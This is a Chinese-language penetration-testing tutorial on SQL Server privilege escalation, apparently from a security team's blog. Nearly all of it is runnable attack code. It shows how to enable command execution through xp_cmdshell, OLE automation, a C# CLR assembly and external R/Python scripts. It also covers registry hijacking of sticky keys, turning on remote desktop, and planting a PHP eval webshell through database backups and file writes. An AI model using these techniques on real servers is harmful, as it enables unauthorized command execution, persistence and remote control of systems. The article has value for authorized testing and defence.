寫給sql server管理員-關於提權的問題總結

宣告:本人所分享內容僅用於網安愛好者之間的技術討論,禁止用於違法途徑,所有滲透都需獲取授權!否則需自行承擔,本人及原作者不承擔相應的後果!

1。sqlserver的角色及許可權

sqlserver的角色分為兩種:伺服器角色和資料庫角色

伺服器角色:

伺服器角色的擁有者只有登入名,伺服器角色是固定的,使用者無法建立伺服器角色。

寫給sql server管理員-關於提權的問題總結

資料庫角色:

資料庫角色的擁有者可以是使用者也可以是資料庫角色本身,管理員可以建立資料庫角色。

寫給sql server管理員-關於提權的問題總結

在sqlserver中有三種特殊的使用者:

(1)系統管理員(dba許可權),對應伺服器角色sysadmin,可以執行sqlserver的任何動作,包括資料庫操作,檔案管理,命令執行,登錄檔讀取等,為sqlserver最高許可權。(2)資料庫所有者(dbo許可權),對應資料庫角色db_owner, 可以執行資料庫中技術所有動作,包括檔案管理,資料庫操作等。(3)public角色是一種特殊的固定角色,資料庫的每個合法使用者都屬於該角色。它為資料庫中的使用者提供了所有預設許可權。

判斷當前使用者角色(許可權):

(1)判斷是否是sysadmin(dba許可權),執行

select is_srvrolemember(‘sysadmin’)

寫給sql server管理員-關於提權的問題總結

(2)判斷是否是db_owner(dbo許可權),執行

select is_member(‘db_owner’)

寫給sql server管理員-關於提權的問題總結

(3)判斷是否是public(普通許可權),執行

select is_srvrolemember(‘public’)/select is_member(‘public’)

寫給sql server管理員-關於提權的問題總結

寫給sql server管理員-關於提權的問題總結

2。最新版sqlserver提權測試(sqlserver2019)

文章測試均在sqlserver2019+win server2019中操作。經過測試sqlserver 2019預設安裝,使用dba許可權執行whoami不是system許可權,這是因為預設安裝的sqlserver服務不是用系統賬戶啟動的。

寫給sql server管理員-關於提權的問題總結

寫給sql server管理員-關於提權的問題總結

寫給sql server管理員-關於提權的問題總結

如果安裝時或在服務中更改為本地系統賬戶,執行命令為system許可權,可以建立使用者提權。

寫給sql server管理員-關於提權的問題總結

3。xp_cmdshell(dba許可權)

xp_cmdshell在低版本中預設開啟,由於存在安全隱患,在sqlserver2005以後,xp_cmdshell預設關閉。利用xp_cmdshell執行系統命令

—— 判斷xp_cmdshell是否存在,返回1證明存在xp_cmdshellselect count(*) from master。dbo。sysobjects where xtype=‘x’ and name=‘xp_cmdshell’

寫給sql server管理員-關於提權的問題總結

—— 開啟xp_cmdshellEXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;—— 關閉xp_cmdshellEXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 0;RECONFIGURE;

寫給sql server管理員-關於提權的問題總結

寫給sql server管理員-關於提權的問題總結

—— 執行系統命令,sqlserver2019被降權為mssql許可權exec master。。xp_cmdshell ‘xxx’

寫給sql server管理員-關於提權的問題總結

4。sp_oacreate+sp_oamethod(dba許可權)

在xp_cmdshell被刪除或不能利用是可以考慮利用sp_oacreate,利用前提需要sqlserver sysadmin賬戶伺服器許可權為system(sqlserver2019預設被降權為mssql)。sp_oacreate 是一個儲存過程,可以刪除、複製、移動檔案。還能配合 sp_oamethod 來寫檔案執行系統命令。

—— 判斷sp_oacreate是否存在,返回1證明存在sp_oacreateselect count(*) from master。dbo。sysobjects where xtype=‘x’ and name=‘SP_OACREATE’

寫給sql server管理員-關於提權的問題總結

—— 開啟exec sp_configure ‘show advanced options’,1;reconfigure;exec sp_configure ‘ole automation procedures’,1;reconfigure;—— 關閉exec sp_configure ‘show advanced options’,1;reconfigure;exec sp_configure ‘ole automation procedures’,0;reconfigure;

寫給sql server管理員-關於提權的問題總結

寫給sql server管理員-關於提權的問題總結

—— 執行系統命令declare @shell intexec sp_oacreate ‘wscript。shell’,@shell outputexec sp_oamethod @shell,‘run’,null,‘C:\\Windows\\System32\\cmd。exe /c whoami’

寫給sql server管理員-關於提權的問題總結

直接執行命令成功後無回顯。

—— 回顯執行系統命令結果declare @shell int,@exec int,@text int,@str varchar(8000)exec sp_oacreate ‘wscript。shell’,@shell outputexec sp_oamethod @shell,‘exec’,@exec output,‘C:\\Windows\\System32\\cmd。exe /c whoami’exec sp_oamethod @exec, ‘StdOut’, @text outexec sp_oamethod @text, ‘readall’, @str outselect @str;

寫給sql server管理員-關於提權的問題總結

5。沙盒提權(dba許可權)

沙盒模式是資料庫的一種安全功能。在沙盒模式下,只對控制元件和欄位屬性中的安全且不含惡意程式碼的表示式求值。如果表示式不使用可能以某種方式損壞資料的函式或屬性,則可認為它是安全的。利用前提需要sqlserver sysadmin賬戶伺服器許可權為system(sqlserver2019預設被降權為mssql),伺服器擁有 jet。oledb。4。0 驅動。侷限:(1)Microsoft。jet。oledb。4。0一般在32位作業系統上才可以 (2)Windows 2008以上 預設無 Access 資料庫檔案, 需要自己上傳 sqlserver2015預設禁用Ad Hoc Distributed Queries,需要開啟。

—— 開啟Ad Hoc Distributed Queriesexec sp_configure ‘show advanced options’,1;reconfigure;exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure;—— 關閉Ad Hoc Distributed Queriesexec sp_configure ‘show advanced options’,1;reconfigure;exec sp_configure ‘Ad Hoc Distributed Queries’,0;reconfigure;

寫給sql server管理員-關於提權的問題總結

寫給sql server管理員-關於提權的問題總結

—— 關閉沙盒模式exec master。。xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4。0\Engines’,‘SandBoxMode’,‘REG_DWORD’,0;—— 恢復預設沙盒模式exec master。。xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4。0\Engines’,‘SandBoxMode’,‘REG_DWORD’,2;

寫給sql server管理員-關於提權的問題總結

沙盒模式SandBoxMode引數含義(預設是2)0:在任何所有者中禁止啟用安全模式1:為僅在允許範圍內2:必須在access模式下3:完全開啟

—— 檢視沙盒模式exec master。dbo。xp_regread ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4。0\Engines’, ‘SandBoxMode’

寫給sql server管理員-關於提權的問題總結

—— 執行系統命令select * from openrowset(‘microsoft。jet。oledb。4。0’,‘;database=c:\windows\system32\ias\ias。mdb’,‘select shell(“cmd。exe /c whoami”)’)

6。CLR(dba許可權)

Microsoft SQL Server 2005之後,實現了對 Microsoft 。NET Framework 的公共語言執行時(CLR)的整合。CLR 整合使得現在可以使用 。NET Framework 語言編寫程式碼,從而能夠在 SQL Server 上執行,現在就可以透過 C# 來編寫 SQL Server 自定義函式、儲存過程、觸發器等。

—— 開啟CLRexec sp_configure ‘show advanced options’,1;RECONFIGURE;exec sp_configure ‘clr enabled’,1;RECONFIGURE;—— 關閉CLRexec sp_configure ‘show advanced options’,1;RECONFIGURE;exec sp_configure ‘clr enabled’,0;RECONFIGURE;

寫給sql server管理員-關於提權的問題總結

寫給sql server管理員-關於提權的問題總結

—— 當匯入了不安全的程式集之後,需將資料庫標記為可信任的ALTER DATABASE master SET TRUSTWORTHY ON;

寫給sql server管理員-關於提權的問題總結

做完上述準備之後需要編寫一個CLR,首先在本地visual studio中建立一個 SQL Server資料庫專案

寫給sql server管理員-關於提權的問題總結

然後,在專案中新增一個儲存過程

寫給sql server管理員-關於提權的問題總結

寫給sql server管理員-關於提權的問題總結

寫入以下程式碼,右鍵生成,會在vs的工作目錄\專案名稱\Database1\bin\Debug下生成四個檔案

using System;using System。Diagnostics;using System。Text;using Microsoft。SqlServer。Server;public partial class StoredProcedures{ [Microsoft。SqlServer。Server。SqlProcedure] public static void CmdExec (String cmd) { // Put your code here SqlContext。Pipe。Send(Command(“cmd。exe”, “ /c ” + cmd)); } public static string Command(string filename, string arguments) { var process = new Process(); process。StartInfo。FileName = filename; if (!string。IsNullOrEmpty(arguments)) { process。StartInfo。Arguments = arguments; } process。StartInfo。CreateNoWindow = true; process。StartInfo。WindowStyle = ProcessWindowStyle。Hidden; process。StartInfo。UseShellExecute = false; process。StartInfo。RedirectStandardError = true; process。StartInfo。RedirectStandardOutput = true; var stdOutput = new StringBuilder(); process。OutputDataReceived += (sender, args) => stdOutput。AppendLine(args。Data); string stdError = null; try { process。Start(); process。BeginOutputReadLine(); stdError = process。StandardError。ReadToEnd(); process。WaitForExit(); } catch (Exception e) { SqlContext。Pipe。Send(e。Message); } if (process。ExitCode == 0) { SqlContext。Pipe。Send(stdOutput。ToString()); } else { var message = new StringBuilder(); if (!string。IsNullOrEmpty(stdError)) { message。AppendLine(stdError); } if (stdOutput。Length != 0) { message。AppendLine(stdOutput。ToString()); } SqlContext。Pipe。Send(filename + arguments + “ finished with exit code = ” + process。ExitCode + “: ” + message); } return stdOutput。ToString(); }}

寫給sql server管理員-關於提權的問題總結

之後需要將dll檔案註冊進sqlserver,這裡有三種方法註冊 (1)採用16進位制的方式,無檔案落地

CREATE ASSEMBLY sp_cmdExecFROM 0x —— 這裡寫。sql檔案裡的WITH PERMISSION_SET = UNSAFE

寫給sql server管理員-關於提權的問題總結

寫給sql server管理員-關於提權的問題總結

(2)將dll檔案上傳到目標機器上進行註冊

CREATE ASSEMBLY sp_cmdExecFROM ‘C:\Users\Administrator\Desktop\Database1。dll’ —— 這裡寫上傳dll檔案的路徑WITH PERMISSION_SET = UNSAFE

寫給sql server管理員-關於提權的問題總結

(3)透過 SSMS註冊dll

寫給sql server管理員-關於提權的問題總結

註冊完成後,建立儲存過程

CREATE PROCEDURE sp_cmdExec@Command [nvarchar](4000)WITH EXECUTE AS CALLERASEXTERNAL NAME sp_cmdExec。StoredProcedures。CmdExec

寫給sql server管理員-關於提權的問題總結

—— 執行系統命令EXEC sp_cmdExec ‘whoami’;

寫給sql server管理員-關於提權的問題總結

刪除儲存過程和程式集

DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY sp_cmdExec;

寫給sql server管理員-關於提權的問題總結

7。xp_regwrite映像劫持(dba許可權)

xp_regread 與 xp_regwrite兩個儲存過程指令碼可以直接讀取與寫入登錄檔,利用regwrite函式修改登錄檔,起到劫持作用。利用前提sqlserver系統許可權可以修改登錄檔。

—— 判斷xp_rewrite是否存在,返回1證明存在xp_regwriteselect count(*) from master。dbo。sysobjects where xtype=‘x’ and name=‘xp_regwrite’

寫給sql server管理員-關於提權的問題總結

—— 開啟EXEC sp_configure ‘show advanced options’,1;RECONFIGUREEXEC sp_configure ‘xp_regwrite’,1;RECONFIGURE—— 關閉EXEC sp_configure ‘show advanced options’,1;RECONFIGUREEXEC sp_configure ‘xp_regwrite’,0;RECONFIGURE

修改登錄檔來劫持粘滯鍵,將粘滯鍵修改為開啟cmd 在sqlserver2019+winserver2019中測試,win defender和火絨均會攔截

—— 劫持登錄檔EXEC master。。xp_regwrite @rootkey=‘HKEY_LOCAL_MACHINE’,@key=‘SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc。EXE’,@value_name=‘Debugger’,@type=‘REG_SZ’,@value=‘c:\windows\system32\cmd。exe’—— 檢視是否劫持成功EXEC master。。xp_regread ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc。exe’,‘Debugger’

寫給sql server管理員-關於提權的問題總結

劫持成功後連按5次shift會彈出cmd(win defender會攔截彈出的cmd並刪除已經劫持的登錄檔) 還可以修改登錄檔來開啟3389

exec master。dbo。xp_regwrite‘HKEY_LOCAL_MACHINE’,‘SYSTEM\CurrentControlSet\Control\Terminal Server’,‘fDenyTSConnections’,‘REG_DWORD’,0;

8。SQL Server Agent Job(dba許可權)

SQL Server 代理是一項 Microsoft Windows 服務,它執行計劃的管理任務,這些任務在 SQL Server 中稱為作業。

—— 啟動sqlagentexec master。dbo。xp_servicecontrol ‘start’,‘SQLSERVERAGENT’

利用任務計劃命令執行,建立任務 test並執行命令,將結果寫入1。txt

—— 執行命令use msdb;exec sp_delete_job null,‘test’exec sp_add_job ‘test’exec sp_add_jobstep null,‘test’,null,‘1’,‘cmdexec’,‘cmd /c “whoami>c:/1。txt”’exec sp_add_jobserver null,‘test’,@@servernameexec sp_start_job ‘test’;

寫給sql server管理員-關於提權的問題總結

命令執行成功後沒有回顯,可以把1。txt寫到表中,再查詢表中內容獲取命令回顯。

—— 檢視命令結果Use model;bulk insert readfile from ‘C:\1。txt’select * from readfile

寫給sql server管理員-關於提權的問題總結

9。R和python(dbo/dba許可權)

在 SQL Server 2017 及更高版本中,R 與 Python 一起隨附在機器學習服務中。該服務允許透過 SQL Server 中 sp_execute_external_script 執行 Python 和 R 指令碼。利用前提sqlserver系統許可權可以執行外部指令碼

—— 開啟和關閉需要dba許可權—— 開啟EXEC sp_configure ‘external scripts enabled’,1;RECONFIGURE—— 關閉EXEC sp_configure ‘external scripts enabled’,0;RECONFIGURE

寫給sql server管理員-關於提權的問題總結

寫給sql server管理員-關於提權的問題總結

—— dbo和dba許可權均可執行命令—— 利用R執行命令EXEC sp_execute_external_script@language=N‘R’,@script=N‘OutputDataSet <- data。frame(system(“cmd。exe /c dir”,intern=T))’WITH RESULT SETS (([cmd_out] text));——利用python執行命令exec sp_execute_external_script@language =N‘Python’,@script=N‘import subprocessp = subprocess。Popen(“cmd。exe /c whoami”, stdout=subprocess。PIPE)OutputDataSet = pandas。DataFrame([str(p。stdout。read(), “utf-8”)])’

寫給sql server管理員-關於提權的問題總結

寫給sql server管理員-關於提權的問題總結

10。差異備份寫webshell(dbo許可權)

dbo和dba都有備份資料庫許可權,我們可以把資料庫備份成可執行指令碼檔案放到web目錄裡,獲得 webshell。利用前提,知道網站絕對路徑且路徑可寫

—— 生成備份檔案backup database test to disk = ‘C:\phpstudy_pro\WWW\1。bak’;—— 建立表並寫入一句話木馬create table test([cmd][image]);Insert into test(cmd)values(0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e);—— 將資料庫進行差異備份backup database test to disk=‘C:\phpstudy_pro\WWW\shell。php’ WITH DIFFERENTIAL,FORMAT;

寫給sql server管理員-關於提權的問題總結

寫給sql server管理員-關於提權的問題總結

寫給sql server管理員-關於提權的問題總結

蟻劍直接連線生成的shell。php

寫給sql server管理員-關於提權的問題總結

dbo和dba都有備份資料庫許可權,我們可以把資料庫備份成可執行指令碼檔案放到web目錄裡,獲得 webshell。利用前提(1)知道網站絕對路徑且路徑可寫(2)利用資料庫必須存在備份檔案

alter database test set RECOVERY FULL —— 將資料庫修改為完整模式create table cmd (a image) —— 新建表backup log test to disk = ‘c:\phpstudy_pro\www\2。bak’ with init —— 備份表insert into cmd (a) values (0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e) —— 將一句話木馬寫入表中backup log test to disk = ‘c:\phpstudy_pro\www\2。php’ —— 備份操作日誌到指定指令碼檔案

寫給sql server管理員-關於提權的問題總結

蟻劍直接連線生成的2。php

寫給sql server管理員-關於提權的問題總結

12。sp_oacreate+sp_oamethod寫webshell(dba許可權)

在sqlserver2019+win server2019中測試,win defender會報毒並刪除一句話木馬。

declare @o int, @f int, @t int, @ret intexec sp_oacreate ‘scripting。filesystemobject’, @o outexec sp_oamethod @o, ‘createtextfile’, @f out, ‘C:\phpstudy_pro\www\1。php’, 1exec @ret = sp_oamethod @f, ‘writeline’, NULL,‘<?php @eval($_REQUEST[“a”]);?>’

寫給sql server管理員-關於提權的問題總結

13。不支援堆疊的情況下執行系統命令

select 1 where 1=1 if 1=1 execute(‘exec sp_configure ’‘show advanced options’‘, 1;reconfigure;exec sp_configure ’‘xp_cmdshell’‘, 1;reconfigure;exec xp_cmdshell ’‘whoami’‘’);

寫給sql server管理員-關於提權的問題總結

14。參考

https://mp。weixin。qq。com/s?__biz=MzAxNzkyOTgxMw==&mid=2247489236&idx=1&sn=2a40726e77cc142ff060c222588da630

http://tttang。com/archive/1545/#toc_0x06-sp_oacreate-ole-automation-procedures https://blog。51cto。com/u_15127627/4024124

文章來源:TIDE安全團隊